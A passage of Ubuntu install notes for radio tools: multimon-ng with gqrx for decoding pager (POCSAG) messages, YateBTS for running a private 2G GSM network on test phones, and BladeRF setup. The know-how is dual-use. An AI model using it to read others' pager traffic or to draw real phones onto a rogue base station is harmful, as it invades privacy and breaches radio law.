make: *** [dump1090.o] Error 1

Note: having SDRPlay libraries installed fixes this error:

user@host:~/tools/dump1090-sdrplus-master$ make
cc -O2 -g -Wall -W -I/usr/include/ -I/usr/include/libusb-1.0 -I/usr/include/ -I/usr/include/libusb-1.0 -c dump1090.c
dump1090.c:53:27: fatal error: mirsdrapi-rsp.h: No such file or directory
compilation terminated.
Makefile:9: recipe for target ‘dump1090.o’ failed
make: *** [dump1090.o] Error 1

Note: running ldconfig fixes this error:

user@host:~/tools/dump1090-sdrplus-master$ make
./dump1090: error while loading shared libraries: libmirsdrapi-rsp.so: cannot open shared object file: No such file or directory

Installing multimon-ng Pager Decoder Tool on Ubuntu (16.04 LTS)

Download multimon-ng
Download multimon-ng zip file from github:
https://github.com/EliasOenal/multimon-ng

Note: Ubuntu has a “multimon” tool in the apt repos but using the github version here.
There are many ways to pipe the data into “multimon-ng”, but will use the pulse audio method here.

Install Prerequisites
$ sudo apt-get install pavucontrol
$ sudo apt-get install libpulse-dev

Install multimon-ng
$ cd multimon-ng-master
$ mkdir build
$ cd build
$ qmake ../multimon-ng.pro
$ make
$ sudo make install

Using multimon-ng with pulseaudio
1. Start gqrx
$ gqrx
Use gqrx to tune to a pager frequency (e.g. 148Mhz region for Australia)
Set the filter width to: “Wide”
Set the filter shape to: “Normal”
Set the gqrx mode to “Narrow FM”

3. Configure pavucontrol
$ pavucontrol
Set configuration tab: “Analogue Stereo Output”

3. Use pulseaudio to pipe the audio from gqrx to multimon-ng
$ padsp multimon-ng -a POCSAG512 -a POCSAG1200 -a POCSAG2400 -f alpha

Note: set the pager demod options for your region
e.g. POCSAG for Australia

As you tune to different pager frequencies in gqrx, you will see the decoded messages appear in the multimon-ng terminal.

Fixing Install Errors
Note: having libpulse-dev installed fixes this error:

user@host:~/multimon-ng-master/build$ make
gcc -c -m64 -pipe -std=gnu99 -g -O2 -Wall -W -fPIC -DMAX_VERBOSE_LEVEL=3 -DPULSE_AUDIO -DCHARSET_UTF8 -I../../multimon-ng-master -I. -I/usr/lib/x86_64-linux-gnu/qt5/mkspecs/linux-g++-64 -o unixinput.o ../unixinput.c
../unixinput.c:45:26: fatal error: pulse/simple.h: No such file or directory
compilation terminated.
Makefile:391: recipe for target ‘unixinput.o’ failed
make: *** [unixinput.o] Error 1

Installing YateBTS on a Clean Ubuntu Install (16.04 LTS)

Install Prerequisites
$ sudo apt-get install subversion
$ sudo apt-get install autoconf
$ sudo apt-get install libgsm1-dev
$ sudo apt-get install libgusb-dev
$ mkdir ~/tools

Install Yate
$ which -a yate-config (make sure only have 1 instance installed)
$ cd ~/tools
$ svn checkout http://voip.null.ro/svn/yate/trunk yate
$ cd yate
$ ./autogen.shr
$ ./configure
$ sudo make install-noapi

Install YateBTS
$ cd ~/tools
$ svn checkout http://voip.null.ro/svn/yatebts/trunk yatebts
$ cd yatebts
$ ./autogen.sh
$ ./configure
$ sudo make install

Configure your username permissions for running YateBTS
$ sudo addgroup yate
$ sudo usermod -G yate [your-username]
$ sudo touch /usr/local/etc/yate/snmp_data.conf /usr/local/etc/yate/tmsidata.conf
$ sudo chown root:yate /usr/local/etc/yate/*.conf
$ sudo chmod g+w /usr/local/etc/yate/*.conf

Configure YateBTS values
$ sudo vim /usr/local/etc/yate/ybts.conf
Radio.Band= 900 (set your countries value here)
Radio.C0=0 (determined by your band)
Identity.MCC=001 (uncomment)

$ sudo vim /etc/security/limits.conf (increase yate’s priority value, append these lines)
@yate hard nice -20
@yate hard rtprio 99

$ sudo vim /usr/local/etc/yate/ybts.conf
radio_read_priority=highest (uncomment and change to highest)
radio_send_priority=high (uncomment and change to high)

$ sudo vim /usr/local/etc/yate/ysnmpagent.conf (change SNMP port numbers so normal users can use them)
port=20161 (uncomment and change value)
remote_port=20162 (uncomment and change value)

$ sudo vim /usr/local/etc/yate/subscribers.conf (set country code)
country_code=61 (e.g. for Australia)

Start and test YateBTS
$ yate
$ telnet localhost 5038
nib list registered (list registered devices)
nib list rejected (list rejected devices)

  • Try and connect to the “101” 2G network on your two test devices
  • Take your two test IMSI numbers from nib list rejected and add regexp= to /usr/local/etc/yate/subscribers.conf
  • Now you can make calls to each other with your allocated phone numbers (you will recieve an sms when you join the network) or text ELIZA questions on 35492

Installing a BladeRF on a Clean Ubuntu Install (16.04 LTS)

Installing a BladeRF
$ sudo add-apt-repository ppa:bladerf/bladerf
$ sudo apt-get update (you may get some 404s but it’s ok)
$ sudo apt-get install bladerf
$ sudo apt-get install libbladerf-dev
$ sudo apt-get install bladerf-firmware-fx3
$ sudo apt-get install bladerf-fpga-hostedx40 (for the 40 kLE hardware)
OR 
$ sudo apt-get install bladerf-fpga-hostedx115 (for the 115 kLE hardware)

Plug in the BladeRF
$ bladeRF-cli --flash-firmware /usr/share/Nuand/bladeRF/bladeRF_fw.img

Plug out the BladeRF and plug back in again
$ bladeRF-cli -p
Backend: libusb
Serial: d6cbcb056cc2aa1e37d14c41f15fe3af
USB Bus: 4
USB Address: 3

$ bladeRF-cli -i
bladeRF> version
bladeRF-cli version: 1.3.1-0.2016.01~rc1-3
libbladeRF version: 1.5.1-0.2016.01~rc1-3
Firmware version: 1.9.0
FPGA version: 0.5.0